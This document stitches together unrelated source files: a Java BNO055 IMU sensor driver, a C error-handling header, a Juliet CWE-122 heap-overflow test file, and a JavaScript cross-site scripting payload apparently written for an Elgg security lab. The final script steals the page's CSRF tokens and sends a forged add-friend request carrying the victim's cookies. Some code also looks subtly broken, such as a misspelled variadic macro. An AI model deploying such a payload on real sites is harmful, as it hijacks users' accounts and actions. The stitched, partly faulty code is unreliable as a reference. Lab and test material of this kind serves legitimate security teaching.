        BNO055_TEMP_SOURCE_ADDR(0X40),

        /* Axis remap registers */
        BNO055_AXIS_MAP_CONFIG_ADDR(0X41),
        BNO055_AXIS_MAP_SIGN_ADDR(0X42),

        /* SIC registers */
        BNO055_SIC_MATRIX_0_LSB_ADDR(0X43),
        BNO055_SIC_MATRIX_0_MSB_ADDR(0X44),
        BNO055_SIC_MATRIX_1_LSB_ADDR(0X45),
        BNO055_SIC_MATRIX_1_MSB_ADDR(0X46),
        BNO055_SIC_MATRIX_2_LSB_ADDR(0X47),
        BNO055_SIC_MATRIX_2_MSB_ADDR(0X48),
        BNO055_SIC_MATRIX_3_LSB_ADDR(0X49),
        BNO055_SIC_MATRIX_3_MSB_ADDR(0X4A),
        BNO055_SIC_MATRIX_4_LSB_ADDR(0X4B),
        BNO055_SIC_MATRIX_4_MSB_ADDR(0X4C),
        BNO055_SIC_MATRIX_5_LSB_ADDR(0X4D),
        BNO055_SIC_MATRIX_5_MSB_ADDR(0X4E),
        BNO055_SIC_MATRIX_6_LSB_ADDR(0X4F),
        BNO055_SIC_MATRIX_6_MSB_ADDR(0X50),
        BNO055_SIC_MATRIX_7_LSB_ADDR(0X51),
        BNO055_SIC_MATRIX_7_MSB_ADDR(0X52),
        BNO055_SIC_MATRIX_8_LSB_ADDR(0X53),
        BNO055_SIC_MATRIX_8_MSB_ADDR(0X54),

        /* Accelerometer Offset registers */
        ACCEL_OFFSET_X_LSB_ADDR(0X55),
        ACCEL_OFFSET_X_MSB_ADDR(0X56),
        ACCEL_OFFSET_Y_LSB_ADDR(0X57),
        ACCEL_OFFSET_Y_MSB_ADDR(0X58),
        ACCEL_OFFSET_Z_LSB_ADDR(0X59),
        ACCEL_OFFSET_Z_MSB_ADDR(0X5A),

        /* Magnetometer Offset registers */
        MAG_OFFSET_X_LSB_ADDR(0X5B),
        MAG_OFFSET_X_MSB_ADDR(0X5C),
        MAG_OFFSET_Y_LSB_ADDR(0X5D),
        MAG_OFFSET_Y_MSB_ADDR(0X5E),
        MAG_OFFSET_Z_LSB_ADDR(0X5F),
        MAG_OFFSET_Z_MSB_ADDR(0X60),

        /* Gyroscope Offset register s */
        GYRO_OFFSET_X_LSB_ADDR(0X61),
        GYRO_OFFSET_X_MSB_ADDR(0X62),
        GYRO_OFFSET_Y_LSB_ADDR(0X63),
        GYRO_OFFSET_Y_MSB_ADDR(0X64),
        GYRO_OFFSET_Z_LSB_ADDR(0X65),
        GYRO_OFFSET_Z_MSB_ADDR(0X66),

        /* Radius registers */
        ACCEL_RADIUS_LSB_ADDR(0X67),
        ACCEL_RADIUS_MSB_ADDR(0X68),
        MAG_RADIUS_LSB_ADDR(0X69),
        MAG_RADIUS_MSB_ADDR(0X6A);

        private final int val;

        reg_t(int val) {
            this.val = val;
        }

        public int getVal() {
            return val;
        }
    };

    public enum powermode_t {
        POWER_MODE_NORMAL(0X00),
        POWER_MODE_LOWPOWER(0X01),
        POWER_MODE_SUSPEND(0X02);

        private final int val;

        powermode_t(int val) {
            this.val = val;
        }

        public int getVal() {
            return val;
        }
    };

    public enum opmode_t {
        /* Operation mode settings */
        OPERATION_MODE_CONFIG(0X00),
        OPERATION_MODE_ACCONLY(0X01),
        OPERATION_MODE_MAGONLY(0X02),
        OPERATION_MODE_GYRONLY(0X03),
        OPERATION_MODE_ACCMAG(0X04),
        OPERATION_MODE_ACCGYRO(0X05),
        OPERATION_MODE_MAGGYRO(0X06),
        OPERATION_MODE_AMG(0X07),
        OPERATION_MODE_IMUPLUS(0X08),
        OPERATION_MODE_COMPASS(0X09),
        OPERATION_MODE_M4G(0X0A),
        OPERATION_MODE_NDOF_FMC_OFF(0X0B),
        OPERATION_MODE_NDOF(0X0C);

        private final int val;

        opmode_t(int val) {
            this.val = val;
        }

        public int getVal() {
            return val;
        }
    }

    public class RevInfo {

        public byte accel_rev;
        public byte mag_rev;
        public byte gyro_rev;
        public short sw_rev;
        public byte bl_rev;
    }

    public class CalData {

        public byte sys;
        public byte gyro;
        public byte accel;
        public byte mag;
    }

    public enum vector_type_t {
        VECTOR_ACCELEROMETER(reg_t.BNO055_ACCEL_DATA_X_LSB_ADDR.getVal()),
        VECTOR_MAGNETOMETER(reg_t.BNO055_MAG_DATA_X_LSB_ADDR.getVal()),
        VECTOR_GYROSCOPE(reg_t.BNO055_GYRO_DATA_X_LSB_ADDR.getVal()),
        VECTOR_EULER(reg_t.BNO055_EULER_H_LSB_ADDR.getVal()),
        VECTOR_LINEARACCEL(reg_t.BNO055_LINEAR_ACCEL_DATA_X_LSB_ADDR.getVal()),
        VECTOR_GRAVITY(reg_t.BNO055_GRAVITY_DATA_X_LSB_ADDR.getVal());

        private final int val;

        vector_type_t(int val) {
            this.val = val;
        }

        public int getVal() {
            return val;
        }
    };

    /**
     * Instantiates a new BNO055 class.
     *
     * @param port the physical port the sensor is plugged into on the roboRio
     * @param address the address the sensor is at (0x28 or 0x29)
     */
    private BNO055(I2C.Port port, byte address) {
        imu = new I2C(port, address);
        this.initialized = false;
        this.state = 0;
        executor = new java.util.Timer();
        executor.schedule(new BNO055UpdateTask(this), 0L, THREAD_PERIOD);
    }

    /**
     * Get an instance of the IMU object.
     *
     * @param mode the operating mode to run the sensor in.
     * @param port the physical port the sensor is plugged into on the roboRio
     * @param address the address the sensor is at (0x28 or 0x29)
     * @return the instantiated BNO055 object
     */
    public static BNO055 getInstance(opmode_t mode, vector_type_t vectorType,
            I2C.Port port, byte address) {
        if (instance == null) {
            instance = new BNO055(port, address);
        }
        requestedMode = mode;
        return instance;
    }

    /**
     * Get an instance of the IMU object plugged into the onboard I2C header.
     * Using the default address (0x28)
     *
     * @param mode the operating mode to run the sensor in.
     * @param vectorType the format the position vector data should be returned
     *        in (if you don't know use VECTOR_EULER).
     * @return the instantiated BNO055 object
     */
    public static BNO055 getInstance(opmode_t mode, vector_type_t vectorType) {
        return getInstance(mode, vectorType, I2C.Port.kOnboard,
                BNO055_ADDRESS_A);
    }

    public static BNO055 getInstance() {
        // Preferred entry point for 4915
        return getInstance(opmode_t.OPERATION_MODE_ACCMAG, vector_type_t.VECTOR_LINEARACCEL);
    }

    /**
     * Called periodically. Communicates with the sensor, and checks its state.
     */
    private void update() {
        currentTime = Timer.getFPGATimestamp(); // seconds
        if (!initialized) {
//          System.out.println("State: " + state + ".  curr: " + currentTime
//                  + ", next: " + nextTime);

            // Step through process of initializing the sensor in a non-
            // blocking manner. This sequence of events follows the process
            // defined in the original adafruit source as closely as possible.
            // XXX: It's likely some of these delays can be optimized out.
            switch (state) {
                case 0:
                    // Wait for the sensor to be present
                    if ((0xFF & read8(reg_t.BNO055_CHIP_ID_ADDR)) != BNO055_ID) {
                        // Sensor not present, keep trying
                        sensorPresent = false;
                    } else {
                        // Sensor present, go to next state
                        sensorPresent = true;
                        state++;
                        nextTime = Timer.getFPGATimestamp() + 0.050;
                    }
                    break;
                case 1:
                    if (currentTime >= nextTime) {
                        // Switch to config mode (just in case since this is the
                        // default)
                        setMode(opmode_t.OPERATION_MODE_CONFIG.getVal());
                        nextTime = Timer.getFPGATimestamp() + 0.050;
                        state++;
                    }
                    break;
                case 2:
                    // Reset
                    if (currentTime >= nextTime) {
                        write8(reg_t.BNO055_SYS_TRIGGER_ADDR, (byte) 0x20);
                        state++;
                    }
                    break;
                case 3:
                    // Wait for the sensor to be present
                    if ((0xFF & read8(reg_t.BNO055_CHIP_ID_ADDR)) == BNO055_ID) {
                        // Sensor present, go to next state
                        state++;
                        // Log current time
                        nextTime = Timer.getFPGATimestamp() + 0.050;
                    }
                    break;
                case 4:
                    // Wait at least 50ms
                    if (currentTime >= nextTime) {
                        /* Set to normal power mode */
                        write8(reg_t.BNO055_PWR_MODE_ADDR, (byte) powermode_t.POWER_MODE_NORMAL.getVal());
                        nextTime = Timer.getFPGATimestamp() + 0.050;
                        state++;
                    }
                    break;
                case 5:
                    // Use external crystal - 32.768 kHz
                    if (currentTime >= nextTime) {
                        write8(reg_t.BNO055_PAGE_ID_ADDR, (byte) 0x00);
                        nextTime = Timer.getFPGATimestamp() + 0.050;
                        state++;
                    }
                    break;
                case 6:
                    if (currentTime >= nextTime) {
                        write8(reg_t.BNO055_SYS_TRIGGER_ADDR, (byte) 0x80);
                        nextTime = Timer.getFPGATimestamp() + 0.500;
                        state++;
                    }
                    break;
                case 7:
                    // Set operating mode to mode requested at instantiation
                    if (currentTime >= nextTime) {
                        setMode(requestedMode);
                        nextTime = Timer.getFPGATimestamp() + 1.05;
                        state++;
                    }
                    break;
                case 8:
                    if (currentTime >= nextTime) {
                        state++;
                    }
                case 9:
                    calculateHeadingAndPosition();
                    this.m_initialHeading = this.m_heading;
                    initialized = true;
                    break;
                default:
                    // Should never get here - Fail safe
                    initialized = false;
            }
        } else {
            // Sensor is initialized, periodically query position data
            calculateHeadingAndPosition();
        }
    }

    private void calculateHeadingAndPosition() {
        short hx = 0, hy = 0, hz = 0;
        short ax = 0, ay = 0, az = 0;

        // Read vector data (6 bytes)
        readLen(reg_t.BNO055_EULER_H_LSB_ADDR.getVal(), headingVector);

        readLen(reg_t.BNO055_LINEAR_ACCEL_DATA_X_LSB_ADDR.getVal(), accelVector);

        hx = (short) ((headingVector[0] & 0xFF)
                | ((headingVector[1] << 8) & 0xFF00));
        hy = (short) ((headingVector[2] & 0xFF)
                | ((headingVector[3] << 8) & 0xFF00));
        hz = (short) ((headingVector[4] & 0xFF)
                | ((headingVector[5] << 8) & 0xFF00));
        /* 1 degree = 16 LSB */
        m_heading[0] = ((double) hx) / 16.0;
        m_heading[1] = ((double) hy) / 16.0;
        m_heading[2] = ((double) hz) / 16.0;

        ax = (short) ((accelVector[0] & 0xFF)
                | ((accelVector[1] << 8) & 0xFF00));
        ay = (short) ((accelVector[2] & 0xFF)
                | ((accelVector[3] << 8) & 0xFF00));
        az = (short) ((accelVector[4] & 0xFF)
                | ((accelVector[5] << 8) & 0xFF00));

        /* 1m/s^2 = 100 LSB */
        m_accel[0] = ((double) ax) / 100.0;
        m_accel[1] = ((double) ay) / 100.0;
        m_accel[2] = ((double) az) / 100.0;

        // note that this double-integration is too noisy
        // to be useful.  This is, in part, due to the fact
        // that generally the linear accelerator isn't properly
        // calibrated (it needs to be recalibrated each power-on)
        double deltaT = THREAD_PERIOD / 1000.0;
        double[] deltaVelocity = new double[3];
        double[] newVelocity = new double[3];
        for (int i = 0; i < 3; i++) {
            deltaVelocity[i] = m_accel[i] * deltaT;
            newVelocity[i] = m_velocity[i] + deltaVelocity[i];
            m_position[i] += ((newVelocity[i] + m_velocity[i]) / 2 * deltaT);
            m_velocity[i] = newVelocity[i];
        }
        m_distFromOrigin = Math.hypot(m_position[0], m_position[1]);
    }

    public double[] getAccel() {
        return m_accel;
    }

    public int getTurns() {
        return (int) (m_heading[0] / 360);
    }

    public double getHeading() {
        return m_heading[0];
    }

    // we normalize on [-180, 180]
    // see: http://goo.gl/L1cMeV  for modulo details in java
    //  the sign of the result equals the sign of the dividend
    //  -13 % 360 == 347
    //  -377 % 360 == 347
    public int getNormalizedHeading() {
    	// int h = (int) Math.round((m_heading[0]-m_initialHeading[0]) % 360);
        int h = (int) Math.round(m_heading[0] % 360);
    	if(h > 180)
    		h = -(360 - h);
        return h;
    }

    public double getDistFromOrigin() {
        return m_distFromOrigin;
    }

    /**
     * Puts the chip in the specified operating mode
     *
     * @param mode
     */
    public void setMode(opmode_t mode) {
        setMode(mode.getVal());
    }

    private void setMode(int mode) {
        _mode = mode;
        write8(reg_t.BNO055_OPR_MODE_ADDR, (byte) _mode);
    }

    /**
     * Gets the latest system status info
     *
     * @return
     */
    public SystemStatus getSystemStatus() {
        SystemStatus status = new SystemStatus();

        write8(reg_t.BNO055_PAGE_ID_ADDR, (byte) 0x00);

        /*
         * System Status (see section 4.3.58) ---------------------------------
         * 0 = Idle 1 = System Error 2 = Initializing Peripherals 3 = System
         * Initalization 4 = Executing Self-Test 5 = Sensor fusion algorithm
         * running 6 = System running without fusion algorithms
         */

        status.system_status = read8(reg_t.BNO055_SYS_STAT_ADDR);

        /*
         * Self Test Results (see section ) -------------------------------- 1 =
         * test passed, 0 = test failed Bit 0 = Accelerometer self test Bit 1 =
         * Magnetometer self test Bit 2 = Gyroscope self test Bit 3 = MCU self
         * test 0x0F = all good!
         */

        status.self_test_result = read8(reg_t.BNO055_SELFTEST_RESULT_ADDR);

        /*
         * System Error (see section 4.3.59) --------------------------------- 0
         * = No error 1 = Peripheral initialization error 2 = System
         * initialization error 3 = Self test result failed 4 = Register map
         * value out of range 5 = Register map address out of range 6 = Register
         * map write error 7 = BNO low power mode not available for selected
         * operation mode 8 = Accelerometer power mode not available 9 = Fusion
         * algorithm configuration error A = Sensor configuration error
         */
        status.system_error = read8(reg_t.BNO055_SYS_ERR_ADDR);
        return status;
    }

    /**
     * Gets the chip revision numbers
     *
     * @return the chips revision information
     */
    public RevInfo getRevInfo() {
        int a = 0, b = 0;
        RevInfo info = new RevInfo();

        /* Check the accelerometer revision */
        info.accel_rev = read8(reg_t.BNO055_ACCEL_REV_ID_ADDR);

        /* Check the magnetometer revision */
        info.mag_rev = read8(reg_t.BNO055_MAG_REV_ID_ADDR);

        /* Check the gyroscope revision */
        info.gyro_rev = read8(reg_t.BNO055_GYRO_REV_ID_ADDR);

        /* Check the SW revision */
        info.bl_rev = read8(reg_t.BNO055_BL_REV_ID_ADDR);

        a = read8(reg_t.BNO055_SW_REV_ID_LSB_ADDR);
        b = read8(reg_t.BNO055_SW_REV_ID_MSB_ADDR);
        info.sw_rev = (short) ((b << 8) | a);

        return info;
    }

    /**
     * Diagnostic method to determine if communications with the sensor are
     * active. Note this method returns true after first establishing
     * communications with the sensor. Communications are not actively monitored
     * once sensor initialization has started.
     *
     * @return true if the sensor is found on the I2C bus
     */
    public boolean isSensorPresent() {
        return sensorPresent;
    }

    /**
     * After power is applied, the sensor needs to be configured for use. During
     * this initialization period the sensor will not return position vector
     * data. Once initialization is complete, data can be read, although the
     * sensor may not have completed calibration. See isCalibrated.
     *
     * @return true when the sensor is initialized.
     */
    public boolean isInitialized() {
        return initialized;
    }

    /**
     * Gets current calibration state.
     *
     * @return each value will be set to 0 if not calibrated, 3 if fully
     *         calibrated.
     */
    public CalData getCalibration() {
        CalData data = new CalData();
        int rawCalData = read8(reg_t.BNO055_CALIB_STAT_ADDR);

        data.sys = (byte) ((rawCalData >> 6) & 0x03);
        data.gyro = (byte) ((rawCalData >> 4) & 0x03);
        data.accel = (byte) ((rawCalData >> 2) & 0x03);
        data.mag = (byte) (rawCalData & 0x03);

        return data;
    }

/*    public void getCalibrationData() {
        setMode(opmode_t.OPERATION_MODE_CONFIG.getVal());
        readLen(reg_t.ACCEL_OFFSET_X_LSB_ADDR, calDataStore);
        DatatypeConverter.printHexBinary(calDataStore);
        System.out.println(DatatypeConverter.printHexBinary(calDataStore));

        setMode(opmode_t.OPERATION_MODE_IMUPLUS);
    }

    public void setCalibrationData() {
        setMode(opmode_t.OPERATION_MODE_CONFIG.getVal());
        calDataStore = DatatypeConverter.parseHexBinary(calDataStoreString);
        retVal = imu.write(reg_t.ACCEL_OFFSET_X_LSB_ADDR.getVal(), 22);

        setMode(opmode_t.OPERATION_MODE_IMUPLUS);
    }

    /**
     * Returns true if all required sensors (accelerometer, magnetometer,
     * gyroscope) have completed their respective calibration sequence. Only
     * sensors required by the current operating mode are checked. See Section
     * 3.3.
     *
     * @return true if calibration is complete for all sensors required for the
     *         mode the sensor is currently operating in.
     */
    public boolean isCalibrated() {
        boolean retVal = true;

        // Per Table 3-3
        boolean[][] sensorModeMap = new boolean[][] {
                // {accel, mag, gyro}
                {false, false, false}, // OPERATION_MODE_CONFIG
                {true, false, false}, // OPERATION_MODE_ACCONLY
                {false, true, false}, // OPERATION_MODE_MAGONLY
                {false, false, true}, // OPERATION_MODE_GYRONLY
                {true, true, false}, // OPERATION_MODE_ACCMAG
                {true, false, true}, // OPERATION_MODE_ACCGYRO
                {false, true, true}, // OPERATION_MODE_MAGGYRO
                {true, true, true}, // OPERATION_MODE_AMG
                {true, false, true}, // OPERATION_MODE_IMUPLUS
                {true, true, false}, // OPERATION_MODE_COMPASS
                {true, true, false}, // OPERATION_MODE_M4G
                {true, true, true}, // OPERATION_MODE_NDOF_FMC_OFF
                {true, true, true} // OPERATION_MODE_NDOF
        };

        CalData data = getCalibration();

        if (sensorModeMap[_mode][0]) // Accelerometer used
            retVal = retVal && (data.accel >= 3);
        if (sensorModeMap[_mode][1]) // Magnetometer used
            retVal = retVal && (data.mag >= 3);
        if (sensorModeMap[_mode][2]) // Gyroscope used
            retVal = retVal && (data.gyro >= 3);

        return retVal;
    }

    /**
     * Get the sensors internal temperature.
     *
     * @return temperature in degrees celsius.
     */
    public int getTemp() {
        return (read8(reg_t.BNO055_TEMP_ADDR));
    }

    /**
     * Writes an 8 bit value over I2C
     *
     * @param reg the register to write the data to
     * @param value a byte of data to write
     * @return whatever I2CJNI.i2CWrite returns. It's not documented in the
     *         wpilib javadocs!
     */
    private boolean write8(reg_t reg, byte value) {
        boolean retVal = false;

        retVal = imu.write(reg.getVal(), value);

        return retVal;
    }

    /**
     * Reads an 8 bit value over I2C
     *
     * @param reg the register to read from.
     * @return
     */
    private byte read8(reg_t reg) {
        byte[] vals = new byte[1];

        readLen(reg, vals);
        return vals[0];
    }

    /**
     * Reads the specified number of bytes over I2C
     *
     * @param reg the address to read from
     * @param buffer to store the read data into
     * @return true on success
     */
    private boolean readLen(reg_t reg, byte[] buffer) {
        return readLen(reg.getVal(), buffer);
    }

    /**
     * Reads the specified number of bytes over I2C
     *
     * @param reg the address to read from
     * @param buffer the size of the data to read
     * @return true on success
     */
    private boolean readLen(int reg, byte[] buffer) {
        boolean retVal = true;

        if (buffer == null || buffer.length < 1) {
            return false;
        }

        retVal = !imu.read(reg, buffer.length, buffer);

        return retVal;
    }

    private class BNO055UpdateTask extends TimerTask {

        private BNO055 imu;

        private BNO055UpdateTask(BNO055 imu) {
            if (imu == null) {
                throw new NullPointerException("BNO055 pointer null");
            }
            this.imu = imu;
        }

        /**
         * Called periodically in its own thread
         */
        public void run() {
            imu.update();
        }
    }
}


text:
#pragma once

#ifndef error_e0b666c0_4caa_4710_bb62_0f8a9d0e579e_h
#define error_e0b666c0_4caa_4710_bb62_0f8a9d0e579e_h

#include <gslib/type.h>

__gslib_begin__

struct errinfo
{
    gchar*      desc;
    gchar*      file;
    int         line;
    void*       user;
};

typedef void* (*error_dump)(void*);
gs_export extern void* error_dump_callstack(void*);

gs_export extern void _set_error(const gchar* desc, error_dump dump, void* user, const gchar* file, int line);
gs_export extern void _set_last_error(const gchar* desc, error_dump dump, void* user, const gchar* file, int line);
gs_export extern void pop_error();
gs_export extern errinfo* get_last_error();
gs_export extern void reset_error();

#ifndef swsc_char
#define swsc_char(x) _t(x)
#endif

#ifdef set_error
#undef set_error
#endif
#define set_error(desc, ...) do { \
    assert(!desc); \
    string str; \
    str.format(desc, __VA_ARGS__); \
    _set_error(str.c_str(), 0, 0, swsc_char(__FILE__), __LINE__); \
} while(0)

#ifdef set_last_error
#undef set_last_error
#endif
#define set_last_error(desc, ...) do { \
    assert(!desc); \
    string str; \
    str.format(desc, _VA_ARGS__); \
    _set_last_error(str.c_str(), 0, 0, swsc_char(__FILE__), __LINE__); \
} while(0)

//gs_export extern void dumperr_file(void);
gs_export extern void trace_hold(const gchar* fmt, ...);
gs_export extern void _trace_to_clipboard();

#ifdef _GS_TRACE_TO_CLIPBOARD
#define trace(fmt, ...) do { trace_hold(fmt, __VA_ARGS__); } while(0)
#define trace_to_clipboard _trace_to_clipboard
#elif defined (DEBUG) || defined (_DEBUG)
gs_export extern void trace(const gchar* fmt, ...);
gs_export extern void trace_all(const gchar* str);
#define trace_to_clipboard __noop
#else
#define trace(fmt, ...) __noop
#define trace_all __noop;
#define trace_to_clipboard __noop
#endif

/* beep an alarm */
gs_export extern void sound_alarm();

__gslib_end__

#endif


text:
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52b.c
Label Definition File: CWE122_Heap_Based_Buffer_Overflow__c_dest.label.xml
Template File: sources-sink-52b.tmpl.c
*/
/*
 * @description
 * CWE: 122 Heap Based Buffer Overflow
 * BadSource:  Allocate using malloc() and set data pointer to a small buffer
 * GoodSource: Allocate using malloc() and set data pointer to a large buffer
 * Sink: cat
 *    BadSink : Copy string to data using wcscat
 * Flow Variant: 52 Data flow: data passed as an argument from one function to another to another in three different source files
 *
 * */

#include "std_testcase.h"

#include <wchar.h>

/* all the sinks are the same, we just want to know where the hit originated if a tool flags one */

#ifndef OMITBAD

/* bad function declaration */
void CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52c_badSink(wchar_t * data);

void CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52b_badSink(wchar_t * data)
{
    CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52c_badSink(data);
}

#endif /* OMITBAD */

#ifndef OMITGOOD

/* good function declaration */
void CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52c_goodG2BSink(wchar_t * data);

/* goodG2B uses the GoodSource with the BadSink */
void CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52b_goodG2BSink(wchar_t * data)
{
    CWE122_Heap_Based_Buffer_Overflow__c_dest_wchar_t_cat_52c_goodG2BSink(data);
}

#endif /* OMITGOOD */


text:
var params = document.getElementsByTagName('a');

var i;
var ts = null;
var token = null;
for (i = 0; i < params.length; i++) {
	p = params[i].getAttribute('href');
	if (p != null) {
		ts = p.match(/__elgg_ts=[0-9]*/);
		token = p.match(/__elgg_token=.*/);
		if (ts != null && token != null) {
			ts = "&" + ts;
			token = "&" + token;
			break
		}
	}
}

alert('Thanks for being my friend!');

var Ajax=null;
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42" + ts + token,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Send the HTTP POST request.
Ajax.send(content);